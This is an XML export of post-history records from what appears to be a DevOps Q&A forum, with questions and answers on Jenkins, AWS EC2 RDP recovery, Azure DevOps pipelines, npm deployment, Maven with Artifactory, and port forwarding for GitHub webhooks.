  <row Id="20032" PostHistoryTypeId="24" PostId="5880" RevisionGUID="038eca6c-b6b9-4dd5-95b2-05748a6a4932" CreationDate="2019-02-07T05:50:07.687" Comment="Proposed by 11764 approved by 40, 707 edit id of 933" ContentLicense="CC BY-SA 4.0" />
  <row Id="20033" PostHistoryTypeId="5" PostId="4446" RevisionGUID="3f1bdbca-45ad-48e7-9534-ac7da39f1129" CreationDate="2019-02-07T05:50:11.710" UserId="-1" Comment="Fixed the code example" Text="In the .net core 2.1 project, there is a `*.csproj` file, that contains assembly information:&#xD;&#xA;&#xD;&#xA;    &lt;PropertyGroup&gt;&#xD;&#xA;        &lt;AssemblyVersion&gt;2019.1.15341.0&lt;/AssemblyVersion&gt;&#xD;&#xA;        &lt;FileVersion&gt;2019.1.15341.0&lt;/FileVersion&gt;&#xD;&#xA;        &lt;Version&gt;2019.1.15341&lt;/Version&gt;&#xD;&#xA;    &lt;/PropertyGroup&gt;&#xD;&#xA;&#xD;&#xA;In Standard **.net** projects there were Properties/AssemblyInfo.cs which contained the Assembly information, but in the .net core, there is no AssemblyInfo.cs, all Assembly information are in the csproj.&#xD;&#xA;&#xD;&#xA;How can I change the Assembly Version, File Version in Assembly Info ***Patcher*** in ***TeamCity*** for the **.net** core projects?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20034" PostHistoryTypeId="24" PostId="4446" RevisionGUID="3f1bdbca-45ad-48e7-9534-ac7da39f1129" CreationDate="2019-02-07T05:50:11.710" Comment="Proposed by 194.153.74.13|c36c9751-59ec-44c0-8a3c-791069586360 approved by 40, 707 edit id of 932" ContentLicense="CC BY-SA 4.0" />
  <row Id="20035" PostHistoryTypeId="5" PostId="6274" RevisionGUID="33547144-bca4-4009-a261-301d28dab03f" CreationDate="2019-02-07T05:51:58.423" UserId="11764" Comment="deleted 92 characters in body" Text=" If you want to make it private either you need to setup a vpn so that you can access jenkins gui using http://private-subnet-ip:jenkins_port or you can move jenkins behind a load balancer and use load-balancer-dns to access jenkins gui. If it is in public subnet then use NACL/Security Groups to restrict access only to trusted sources. For more security, do not assign public ip to jenkins machine, assign dns hostname(even to load balancer you should do that) and implement ssl over http so that it can be accessed over https only. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20036" PostHistoryTypeId="2" PostId="6277" RevisionGUID="0c60744a-9cf8-4002-95b3-e3edae09c2ba" CreationDate="2019-02-07T06:45:30.700" UserId="11797" Text="Accidentally i disabled RDP on EC2 windows machine and now I am not able to access it via RDP, Is there any way to re-enable RDP service on EC2 instance?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20037" PostHistoryTypeId="1" PostId="6277" RevisionGUID="0c60744a-9cf8-4002-95b3-e3edae09c2ba" CreationDate="2019-02-07T06:45:30.700" UserId="11797" Text="How to re-enable RDP on AWS-EC2 instance" ContentLicense="CC BY-SA 4.0" />
  <row Id="20038" PostHistoryTypeId="3" PostId="6277" RevisionGUID="0c60744a-9cf8-4002-95b3-e3edae09c2ba" CreationDate="2019-02-07T06:45:30.700" UserId="11797" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20040" PostHistoryTypeId="2" PostId="6279" RevisionGUID="2c49a17a-0fc6-4559-87d2-731ce4eeff18" CreationDate="2019-02-07T06:58:52.573" UserId="11598" Text="&gt;Yes, You can able to re-enable RDI using run the AWSSupport-ExecuteEC2Rescue Automation (AWS Systems Manager)&#xD;&#xA;&#xD;&#xA;**Please follow below steps carefully:**&#xD;&#xA;&#xD;&#xA;1. Open the AWS Systems Manager console at https://console.aws.amazon.com/systems-manager/.&#xD;&#xA;&#xD;&#xA;2. In the navigation pane, choose **Automation**.&#xD;&#xA;&#xD;&#xA;3. Choose **Execute automation**.&#xD;&#xA;&#xD;&#xA;4. In the documents list, choose **AWSSupport-ExecuteEC2Rescue**. The document owner is Amazon.&#xD;&#xA;&#xD;&#xA;5. In the Document details section verify that Document version is set to the highest default version. For example, 13 (default).&#xD;&#xA;&#xD;&#xA;6. In the Execution mode section, choose **Simple execution**. Leave the Targets and Rate Control option disabled.&#xD;&#xA;&#xD;&#xA;7. In the Input parameters section, specify the following parameters:&#xD;&#xA;&#xD;&#xA;   For UnreachableInstanceId, specify the **ID of the unreachable instance**.&#xD;&#xA;&#xD;&#xA;   For LogDestination, specify an Amazon S3 bucket if you want to collect operating &#xD;&#xA;   system-level logs while troubleshooting your instance. Logs are automatically uploaded &#xD;&#xA;   to the specified bucket.&#xD;&#xA;&#xD;&#xA;   For EC2RescueInstanceType, specify an instance type for the EC2Rescue instance. The &#xD;&#xA;   default instance type is t2.small.(Please leave as it is if you are confused and go &#xD;&#xA;   ahead)&#xD;&#xA;&#xD;&#xA;   For SubnetId, specify a subnet in an existing VPC in the same availability zone as the &#xD;&#xA;   unreachable instance. By default, Systems Manager creates a new VPC, but you can &#xD;&#xA;   specify a subnet in an existing VPC if you want. (Please leave as it is if you are &#xD;&#xA;    confused and go ahead)&#xD;&#xA;&#xD;&#xA;**Note**&#xD;&#xA;&#xD;&#xA;If you don't see the option to specify a bucket or a subnet ID, verify that you are using the latest Default version of the document.&#xD;&#xA;&#xD;&#xA;For AssumeRole, if you created roles for this Automation by using the CloudFormation procedure described earlier in this topic, then specify the AssumeRole ARN that you copied from the CloudFormation console.&#xD;&#xA;&#xD;&#xA;8. Choose Execute automation.&#xD;&#xA;&#xD;&#xA;It takes sometimes (5-10 minutes) and you are able to access your old instance with new IP.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="20041" PostHistoryTypeId="5" PostId="6279" RevisionGUID="b815a7a9-f80f-44b1-bc2a-b858db459c95" CreationDate="2019-02-07T07:04:18.890" UserId="11797" Comment="added official document link" Text="&gt;Yes, You can able to re-enable RDI using run the AWSSupport-ExecuteEC2Rescue Automation (AWS Systems Manager)&#xD;&#xA;&#xD;&#xA;**Please follow below steps carefully:**&#xD;&#xA;&#xD;&#xA;1. Open the AWS Systems Manager console at https://console.aws.amazon.com/systems-manager/.&#xD;&#xA;&#xD;&#xA;2. In the navigation pane, choose **Automation**.&#xD;&#xA;&#xD;&#xA;3. Choose **Execute automation**.&#xD;&#xA;&#xD;&#xA;4. In the documents list, choose **AWSSupport-ExecuteEC2Rescue**. The document owner is Amazon.&#xD;&#xA;&#xD;&#xA;5. In the Document details section verify that Document version is set to the highest default version. For example, 13 (default).&#xD;&#xA;&#xD;&#xA;6. In the Execution mode section, choose **Simple execution**. Leave the Targets and Rate Control option disabled.&#xD;&#xA;&#xD;&#xA;7. In the Input parameters section, specify the following parameters:&#xD;&#xA;&#xD;&#xA;   For UnreachableInstanceId, specify the **ID of the unreachable instance**.&#xD;&#xA;&#xD;&#xA;   For LogDestination, specify an Amazon S3 bucket if you want to collect operating &#xD;&#xA;   system-level logs while troubleshooting your instance. Logs are automatically uploaded &#xD;&#xA;   to the specified bucket.&#xD;&#xA;&#xD;&#xA;   For EC2RescueInstanceType, specify an instance type for the EC2Rescue instance. The &#xD;&#xA;   default instance type is t2.small.(Please leave as it is if you are confused and go &#xD;&#xA;   ahead)&#xD;&#xA;&#xD;&#xA;   For SubnetId, specify a subnet in an existing VPC in the same availability zone as the &#xD;&#xA;   unreachable instance. By default, Systems Manager creates a new VPC, but you can &#xD;&#xA;   specify a subnet in an existing VPC if you want. (Please leave as it is if you are &#xD;&#xA;    confused and go ahead)&#xD;&#xA;&#xD;&#xA;**Note**&#xD;&#xA;&#xD;&#xA;If you don't see the option to specify a bucket or a subnet ID, verify that you are using the latest Default version of the document.&#xD;&#xA;&#xD;&#xA;For AssumeRole, if you created roles for this Automation by using the CloudFormation procedure described earlier in this topic, then specify the AssumeRole ARN that you copied from the CloudFormation console.&#xD;&#xA;&#xD;&#xA;8. Choose Execute automation.&#xD;&#xA;&#xD;&#xA;It takes sometimes (5-10 minutes) and you are able to access your old instance with new IP.  &#xD;&#xA;&#xD;&#xA;Here is the AWS documentation for this issue:&#xD;&#xA;https://aws.amazon.com/premiumsupport/knowledge-center/troubleshoot-remote-desktop-connection-ec2-windows/" ContentLicense="CC BY-SA 4.0" />
  <row Id="20042" PostHistoryTypeId="24" PostId="6279" RevisionGUID="b815a7a9-f80f-44b1-bc2a-b858db459c95" CreationDate="2019-02-07T07:04:18.890" Comment="Proposed by 11797 approved by 11598 edit id of 934" ContentLicense="CC BY-SA 4.0" />
  <row Id="20043" PostHistoryTypeId="5" PostId="6279" RevisionGUID="de738d64-ee2e-44b7-a6db-2c4d37025789" CreationDate="2019-02-07T07:40:40.733" UserId="11598" Comment="edited body" Text="&gt;Yes, You can able to re-enable RDP using run the AWSSupport-ExecuteEC2Rescue Automation (AWS Systems Manager)&#xD;&#xA;&#xD;&#xA;**Please follow below steps carefully:**&#xD;&#xA;&#xD;&#xA;1. Open the AWS Systems Manager console at https://console.aws.amazon.com/systems-manager/.&#xD;&#xA;&#xD;&#xA;2. In the navigation pane, choose **Automation**.&#xD;&#xA;&#xD;&#xA;3. Choose **Execute automation**.&#xD;&#xA;&#xD;&#xA;4. In the documents list, choose **AWSSupport-ExecuteEC2Rescue**. The document owner is Amazon.&#xD;&#xA;&#xD;&#xA;5. In the Document details section verify that Document version is set to the highest default version. For example, 13 (default).&#xD;&#xA;&#xD;&#xA;6. In the Execution mode section, choose **Simple execution**. Leave the Targets and Rate Control option disabled.&#xD;&#xA;&#xD;&#xA;7. In the Input parameters section, specify the following parameters:&#xD;&#xA;&#xD;&#xA;   For UnreachableInstanceId, specify the **ID of the unreachable instance**.&#xD;&#xA;&#xD;&#xA;   For LogDestination, specify an Amazon S3 bucket if you want to collect operating &#xD;&#xA;   system-level logs while troubleshooting your instance. Logs are automatically uploaded &#xD;&#xA;   to the specified bucket.&#xD;&#xA;&#xD;&#xA;   For EC2RescueInstanceType, specify an instance type for the EC2Rescue instance. The &#xD;&#xA;   default instance type is t2.small.(Please leave as it is if you are confused and go &#xD;&#xA;   ahead)&#xD;&#xA;&#xD;&#xA;   For SubnetId, specify a subnet in an existing VPC in the same availability zone as the &#xD;&#xA;   unreachable instance. By default, Systems Manager creates a new VPC, but you can &#xD;&#xA;   specify a subnet in an existing VPC if you want. (Please leave as it is if you are &#xD;&#xA;    confused and go ahead)&#xD;&#xA;&#xD;&#xA;**Note**&#xD;&#xA;&#xD;&#xA;If you don't see the option to specify a bucket or a subnet ID, verify that you are using the latest Default version of the document.&#xD;&#xA;&#xD;&#xA;For AssumeRole, if you created roles for this Automation by using the CloudFormation procedure described earlier in this topic, then specify the AssumeRole ARN that you copied from the CloudFormation console.&#xD;&#xA;&#xD;&#xA;8. Choose Execute automation.&#xD;&#xA;&#xD;&#xA;It takes sometimes (5-10 minutes) and you are able to access your old instance with new IP.  &#xD;&#xA;&#xD;&#xA;Here is the AWS documentation for this issue:&#xD;&#xA;https://aws.amazon.com/premiumsupport/knowledge-center/troubleshoot-remote-desktop-connection-ec2-windows/" ContentLicense="CC BY-SA 4.0" />
  <row Id="20044" PostHistoryTypeId="2" PostId="6280" RevisionGUID="4c88f81a-2dfc-40ce-998e-ec444321c7af" CreationDate="2019-02-07T08:53:19.127" UserId="12270" Text="You can also install docker and configure jenkins in that. so you can create and configure multi-nodes on that and it will consume time." ContentLicense="CC BY-SA 4.0" />
  <row Id="20047" PostHistoryTypeId="2" PostId="6283" RevisionGUID="ffca0f02-ba24-455d-a0ba-ab795a382662" CreationDate="2019-02-07T09:28:18.500" UserId="12275" Text="I use NPM to build my web project, and it does so nicely to a little ZIP file. Keeps everything nice and light, and I can easily keep bloat down.&#xD;&#xA;&#xD;&#xA;My current process is to use an FTP client (Win SCP), to upload the ZIP file, and then I have a little deploy.sh script that simply removes the old site, and unzips the new site to the same folder.&#xD;&#xA;&#xD;&#xA;I want to be able to build this and deploy it all in one but cannot seem to find the answers. I'm not really sure where to start. I know I could move the build process to the server (git pull, and run the npm command there) but I would rather always have full visibility of the build locally before deployment (ie. could have one script to build, and another to deploy - to yes it technically is a manual deployment, but only manual in the sense that it is triggered).&#xD;&#xA;&#xD;&#xA;If this is posted in the wrong place, please advise - any help greatly appreciated!" ContentLicense="CC BY-SA 4.0" />
  <row Id="20048" PostHistoryTypeId="1" PostId="6283" RevisionGUID="ffca0f02-ba24-455d-a0ba-ab795a382662" CreationDate="2019-02-07T09:28:18.500" UserId="12275" Text="How to deploy a ZIP or WAR equivalent (built locally via npm)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20049" PostHistoryTypeId="3" PostId="6283" RevisionGUID="ffca0f02-ba24-455d-a0ba-ab795a382662" CreationDate="2019-02-07T09:28:18.500" UserId="12275" Text="&lt;continuous-integration&gt;&lt;deployment&gt;&lt;continuous-deployment&gt;&lt;build-pipeline&gt;&lt;npm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20050" PostHistoryTypeId="2" PostId="6284" RevisionGUID="55494010-7d24-4027-8f48-3bb908f28d00" CreationDate="2019-02-07T09:36:51.880" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="20051" PostHistoryTypeId="1" PostId="6284" RevisionGUID="55494010-7d24-4027-8f48-3bb908f28d00" CreationDate="2019-02-07T09:36:51.880" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20052" PostHistoryTypeId="2" PostId="6285" RevisionGUID="0f91a856-ac18-4c2b-a710-422b4f743ea8" CreationDate="2019-02-07T09:36:51.880" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="20053" PostHistoryTypeId="1" PostId="6285" RevisionGUID="0f91a856-ac18-4c2b-a710-422b4f743ea8" CreationDate="2019-02-07T09:36:51.880" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20055" PostHistoryTypeId="2" PostId="6286" RevisionGUID="c4f26f96-5d75-4558-b4e5-56b9fdb7a1c4" CreationDate="2019-02-07T10:01:59.190" UserId="11598" Text="No, Jenkins file is not created at execution. But Jenkins file is a suite of all steps or activity which you are want to build job as a groovy code.&#xD;&#xA;&#xD;&#xA;Jenkins file comes to from code repository and you can run Jenkins file as a build step.&#xD;&#xA;&#xD;&#xA;**Below is a Jenkins file example:**&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;    &#xD;&#xA;        stages {&#xD;&#xA;            stage('Build') {&#xD;&#xA;                steps {&#xD;&#xA;                    echo 'Building..'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('Test') {&#xD;&#xA;                steps {&#xD;&#xA;                    echo 'Testing..'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('Deploy') {&#xD;&#xA;                steps {&#xD;&#xA;                    echo 'Deploying....'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;for more reference watch this video: https://www.youtube.com/watch?v=KZY4Rwsewro&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20056" PostHistoryTypeId="5" PostId="6286" RevisionGUID="2c552efb-d439-4fc2-bed5-d4590d552eb4" CreationDate="2019-02-07T10:08:35.847" UserId="11797" Comment="Updated some syntax error" Text="No, Jenkins file is not created at execution. &#xD;&#xA;Actually Jenkins file is a suite of all steps or activity which you want to build as a job or a groovy code.&#xD;&#xA;&#xD;&#xA;Jenkins file come from code repository, if you added file in your project.&#xD;&#xA;&#xD;&#xA;**Below is a Jenkins file example:**&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;    &#xD;&#xA;        stages {&#xD;&#xA;            stage('Build') {&#xD;&#xA;                steps {&#xD;&#xA;                    echo 'Building..'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('Test') {&#xD;&#xA;                steps {&#xD;&#xA;                    echo 'Testing..'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('Deploy') {&#xD;&#xA;                steps {&#xD;&#xA;                    echo 'Deploying....'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;for more reference watch this video: https://www.youtube.com/watch?v=KZY4Rwsewro&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20057" PostHistoryTypeId="24" PostId="6286" RevisionGUID="2c552efb-d439-4fc2-bed5-d4590d552eb4" CreationDate="2019-02-07T10:08:35.847" Comment="Proposed by 11797 approved by 11598 edit id of 937" ContentLicense="CC BY-SA 4.0" />
  <row Id="20058" PostHistoryTypeId="2" PostId="6287" RevisionGUID="4a500b0c-cfda-4f33-9d3b-7099f2558e2f" CreationDate="2019-02-07T10:09:51.287" UserId="12276" Text="Wanting to deploy a collection of .NET Core API's (microservices) using Azure DevOps I run into some challenges:&#xD;&#xA;&#xD;&#xA;1. Having 10+ small API's, how should I setup the Release Pipeline? One pipeline with one &quot;stage&quot; for each API/application? Or a separate Pipeline for each API?&#xD;&#xA;&#xD;&#xA;2. The API's are deployed to IIS on Windows Server. I'm using the FTP Task now but it's really cumbersome as the AppPool needs to be stopped, then the code is copied over, then the AppPool is started again. I know (non-disruptive) deployment on Azure with App Service is way easier with deployment slots, etc. but what tools can I use on a plain VPS with IIS on Windows Server?&#xD;&#xA;&#xD;&#xA;3. How can I transform or inject the correct `appsettings.json` values for each environment during Release using Azure DevOps? I could use Pipeline variables but they seem to be shared across the whole Pipeline, so I would need a separate Pipeline for each API then (see question 1). There's the task &quot;[Magic Chunks][1]&quot; but it doesn't handle arrays well (which is widely used for Serilog for example). Environment variables on the target machine would be an option, but the API's are deployed to IIS so how can I separate the environment variables per API (there could be the same keys with different values for multiple API's)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://marketplace.visualstudio.com/items?itemName=sergeyzwezdin.magic-chunks" ContentLicense="CC BY-SA 4.0" />
  <row Id="20059" PostHistoryTypeId="1" PostId="6287" RevisionGUID="4a500b0c-cfda-4f33-9d3b-7099f2558e2f" CreationDate="2019-02-07T10:09:51.287" UserId="12276" Text="How to setup Azure DevOps Pipelines and Releases with multiple apps" ContentLicense="CC BY-SA 4.0" />
  <row Id="20060" PostHistoryTypeId="3" PostId="6287" RevisionGUID="4a500b0c-cfda-4f33-9d3b-7099f2558e2f" CreationDate="2019-02-07T10:09:51.287" UserId="12276" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20061" PostHistoryTypeId="2" PostId="6288" RevisionGUID="df1bfb2d-2cc8-4135-8078-d392031df7a9" CreationDate="2019-02-07T10:22:31.280" UserId="4954" Text="docker inspect the container running jenkins&#xD;&#xA;&#xD;&#xA;    docker inspect  eaddfb02c83c|grep _50000&#xD;&#xA;&#xD;&#xA;this gives some variables which are set with the correct address&#xD;&#xA;&#xD;&#xA;    $ docker inspect  eaddfb02c83c|grep _50000&#xD;&#xA;                &quot;MY_RELEASE_JENKINS_AGENT_PORT_50000_TCP_PORT=50000&quot;,&#xD;&#xA;                &quot;MY_RELEASE_JENKINS_AGENT_PORT_50000_TCP_ADDR=10.102.9.168&quot;,&#xD;&#xA;                &quot;MY_RELEASE_JENKINS_AGENT_PORT_50000_TCP_PROTO=tcp&quot;,&#xD;&#xA;                &quot;MY_RELEASE_JENKINS_AGENT_PORT_50000_TCP=tcp://10.102.9.168:50000&quot;,&#xD;&#xA;&#xD;&#xA;use this information to set the &quot;Jenkins tunnel&quot; argument in the Cloud Kubernetes, using the values above for example the setting is 10.102.9.168:50000&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20068" PostHistoryTypeId="5" PostId="6285" RevisionGUID="98f1a0a6-c59f-4d4e-a0f3-afcb202d290d" CreationDate="2019-02-07T12:46:58.277" UserId="1180" Comment="added 119 characters in body" Text="For question about the use of Apache Maven, a build automation tool mostly used for Java projects, in a DevOps setting." ContentLicense="CC BY-SA 4.0" />
  <row Id="20069" PostHistoryTypeId="24" PostId="6285" RevisionGUID="98f1a0a6-c59f-4d4e-a0f3-afcb202d290d" CreationDate="2019-02-07T12:46:58.277" Comment="Proposed by 1180 approved by 40, 13 edit id of 936" ContentLicense="CC BY-SA 4.0" />
  <row Id="20076" PostHistoryTypeId="10" PostId="6220" RevisionGUID="f22ac7f1-367e-4aa8-8a98-c91ff3c0d7aa" CreationDate="2019-02-07T12:52:10.683" UserId="13" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:354,&quot;DisplayName&quot;:&quot;Bruce Becker&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="20078" PostHistoryTypeId="2" PostId="6289" RevisionGUID="9f4bb42e-5d89-47f7-abc7-3a380d405fb1" CreationDate="2019-02-07T13:06:37.320" UserId="12279" Text="I want to stop tomcat using jenkins. Tomcat is running as a seperate application server, I want to restart it using Jenkins console." ContentLicense="CC BY-SA 4.0" />
  <row Id="20079" PostHistoryTypeId="1" PostId="6289" RevisionGUID="9f4bb42e-5d89-47f7-abc7-3a380d405fb1" CreationDate="2019-02-07T13:06:37.320" UserId="12279" Text="Tomcat Restart from jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="20080" PostHistoryTypeId="3" PostId="6289" RevisionGUID="9f4bb42e-5d89-47f7-abc7-3a380d405fb1" CreationDate="2019-02-07T13:06:37.320" UserId="12279" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20081" PostHistoryTypeId="2" PostId="6290" RevisionGUID="bbc63ef6-6a31-4e8e-9e90-97e9f5f52ffc" CreationDate="2019-02-07T15:13:20.060" UserId="12225" Text="1. I use separate pipeline for each app&#xD;&#xA;2. you could use powershell task to restart IIS, but I dont think there is a way to do this without shutting down the website. You can also reconfigure website, so copy new code to location X, repoint website to location X, restart website. Then you can easily point it back if something fails and switch is almost instanteneous&#xD;&#xA;3. You can use library variable sets (or groups, dont remember). those can be tied to the stage in the release. it might also be possible to scope regular variables, but I've never tested that." ContentLicense="CC BY-SA 4.0" />
  <row Id="20083" PostHistoryTypeId="2" PostId="6292" RevisionGUID="fcd4687f-3a93-4961-8830-3fa4c44c8a04" CreationDate="2019-02-07T16:45:14.557" UserId="9485" Text="There are now two possible solutions: One NPM only one, and a clean one.&#xD;&#xA;&#xD;&#xA;First the NPM One (where im not quite sure what exactly will work):&#xD;&#xA;&#xD;&#xA;I just googled &quot;npm deployment&quot; and found 3 different Plugins which do exactly that what you want ( [1][1], [2][2], [3][3]) and there are many more. Which now you suits you best, will be your choice.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Now the cleaner one (because we are in the DevOps Stackexchange ;) ):&#xD;&#xA;&#xD;&#xA;Use a Dedicated Service (self-hosted or provided) to build and deploy your application.&#xD;&#xA;This way you will just commit your sourcecode into the VCS and the build system will build your Artifact. Then you deploy it through there via it's possibility for it.&#xD;&#xA;&#xD;&#xA;As Example i used Atlassian Bamboo quite often for that. &#xD;&#xA;&#xD;&#xA;- I commited my code&#xD;&#xA;- Bamboo gets a Trigger to build&#xD;&#xA;- Bamboo run the Build with the Tests&#xD;&#xA;- Bamboo create the Artifact&#xD;&#xA;- now you had the Choice to automatically deploy the Artifact or wait for a manuell Button press inside the UI&#xD;&#xA; - if automatically it will start a Deploy Task&#xD;&#xA; - else on Button Press&#xD;&#xA;- The Deploy Task is the configuration how it will be Deployed.&#xD;&#xA; - in your case: copy the ZIP, extract it, run the deployment.sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;One thing beside that all. One thing i would never do is to build ON the Live system. Sourcecode on the Live Server (even Javascript one, which is most of the time minified) is a big attack window. Beside that you could get many weird behavior due weird things that the different systems do inside the building of the artifact (like different dependencies or things like that)&#xD;&#xA;&#xD;&#xA;  [1]: https://www.npmjs.com/package/ssh-deploy-release&#xD;&#xA;  [2]: https://www.npmjs.com/package/deployment&#xD;&#xA;  [3]: https://www.npmjs.com/package/deploy-app" ContentLicense="CC BY-SA 4.0" />
  <row Id="20087" PostHistoryTypeId="2" PostId="6294" RevisionGUID="2af2abb8-f97c-489b-8aaa-d43a09b4bd4d" CreationDate="2019-02-07T17:05:28.303" UserId="9149" Text="Easiest way to do that would be to ssh from Jenkins to your application server and then run the command to restart your Jenkins. You can either just write down the command inside an &quot;Execute Shell&quot; step, or use a plugin, like this one: &#xD;&#xA;https://wiki.jenkins.io/display/JENKINS/SSH+plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="20088" PostHistoryTypeId="2" PostId="6295" RevisionGUID="0f00dcc3-8d67-4a0b-9eda-58029d31d659" CreationDate="2019-02-07T17:59:11.387" UserId="12286" Text="Started to learn DevOps 3 days ago, so I have a lot to learn!&#xD;&#xA;&#xD;&#xA;I have a jenkins running on docker toolbox container and I can access it via 192.168.99.100:8080.&#xD;&#xA;I configured a job and managed to use &quot;Build Now&quot; to get the files from my GitHub repository, the git is public.&#xD;&#xA;&#xD;&#xA;I want my job to build automatically after a commit is made in my GitHub but it does not work.&#xD;&#xA;&#xD;&#xA;I configured a webhook in my GitHub settings but after I commit, the &quot;Webhooks&quot; page display an error &quot;Last delivery was not successful. Couldn't connect to server.&quot;&#xD;&#xA;In the URL inside the webhook I configured &quot;http://192.168.99.100:8080/jenkins-name/&quot;&#xD;&#xA;Is it wrong to use that URL? I am not sure about it.&#xD;&#xA;&#xD;&#xA;In jenkins, I am using the GitHub plugin and I configured in &quot;Configure System&quot;  a GitHub Server with my credentials and the &quot;Test connection&quot; button was verified.&#xD;&#xA;In the job, configured my GitHub repository in the &quot;Source Code Management&quot; section and in the &quot;Build Triggers&quot; section I checked &quot;GitHub hook trigger for GITScm polling&quot;.&#xD;&#xA;&#xD;&#xA;I read it have something with port forwarding..&#xD;&#xA;Will appreciate any help!" ContentLicense="CC BY-SA 4.0" />
  <row Id="20089" PostHistoryTypeId="1" PostId="6295" RevisionGUID="0f00dcc3-8d67-4a0b-9eda-58029d31d659" CreationDate="2019-02-07T17:59:11.387" UserId="12286" Text="Connecting GitHub to Jenkins running on docker toolbox" ContentLicense="CC BY-SA 4.0" />
  <row Id="20090" PostHistoryTypeId="3" PostId="6295" RevisionGUID="0f00dcc3-8d67-4a0b-9eda-58029d31d659" CreationDate="2019-02-07T17:59:11.387" UserId="12286" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;git&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20091" PostHistoryTypeId="2" PostId="6296" RevisionGUID="d7de9196-6cde-470f-9841-2bf8930ac9d1" CreationDate="2019-02-07T18:19:43.813" UserId="12015" Text="I have the following repositories structure created in my newly installed artifactory instance. And we are using this artifactory instance to store the maven artifacts. Most of our projects are in java and we use maven as the build tool. As this is a new installation our .m2 repository cache is empty and when we did our initial 'mvn compile' it has downloaded all the dependencies from this repository [1] and placed the dependencies under .m2 cache but not in our artifactory instance.&#xD;&#xA;&#xD;&#xA;According to our understanding, we thought if the dependencies are not available in artifactory server then it downloads from public repository and then it keeps a copy in artifactory server and also in local .m2 cache. Is that how it works? When the dependencies are downloaded from public repository we also wanted to have that available in our artifactory server so that when a maven is installed in a new machine then it should get that dependency from our artifactory server itself. Is that possible. &#xD;&#xA;&#xD;&#xA;[1]  https://repo.maven.apache.org&#xD;&#xA;&#xD;&#xA;    Local&#xD;&#xA;     - wellows&#xD;&#xA;    Remote&#xD;&#xA;     - wellows-remote&#xD;&#xA;    Virtual&#xD;&#xA;     - wellows-virtual" ContentLicense="CC BY-SA 4.0" />
  <row Id="20092" PostHistoryTypeId="1" PostId="6296" RevisionGUID="d7de9196-6cde-470f-9841-2bf8930ac9d1" CreationDate="2019-02-07T18:19:43.813" UserId="12015" Text="Maven dependencies that are downloaded not available in Artifactory server" ContentLicense="CC BY-SA 4.0" />
  <row Id="20093" PostHistoryTypeId="3" PostId="6296" RevisionGUID="d7de9196-6cde-470f-9841-2bf8930ac9d1" CreationDate="2019-02-07T18:19:43.813" UserId="12015" Text="&lt;maven&gt;&lt;artifactory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20095" PostHistoryTypeId="2" PostId="6297" RevisionGUID="6262bc76-d1dc-49e0-86b2-6b31087461d6" CreationDate="2019-02-07T20:39:19.600" UserId="12295" Text="You are on the correct track with port forwarding - you will need to tell your router to forward traffic from your public IP address to your Jenkins server on a specific port.&#xD;&#xA;&#xD;&#xA;The 192.168.x.x address is one of the Private address ranges - nobody from the external web can see any of your servers on these addresses. See https://en.wikipedia.org/wiki/Private_network for more information on private addresses if you are interested.&#xD;&#xA;&#xD;&#xA;You probably have a modem/router to connect to your ISP. It does the work of converting all the traffic from the 192.168.x.x addresses into something that can be used in the internet. When a response comes back from the internet to your computer, the router recognizes that it is a response and sends it to the computer that initiated the request.&#xD;&#xA;&#xD;&#xA;But if a request comes from the outside world that is not a response, the router does not know where to send it - it just drops it. This is where port forwarding comes in. You can tell your router that if it sees a request coming in on port 8080 then it should send the request to the server at address 192.168.x.x and port xxxx. &#xD;&#xA;&#xD;&#xA;Note that the inbound port and the server port do not have to be the same. This can provide a level of security through obscurity - since most developers tend to have servers running on port 8080, some hacker scripts will try that port as a matter of course. You might want to have some random port number on your router going to port 8080 internally. (This is still not good security, but it is better than nothing.)" ContentLicense="CC BY-SA 4.0" />
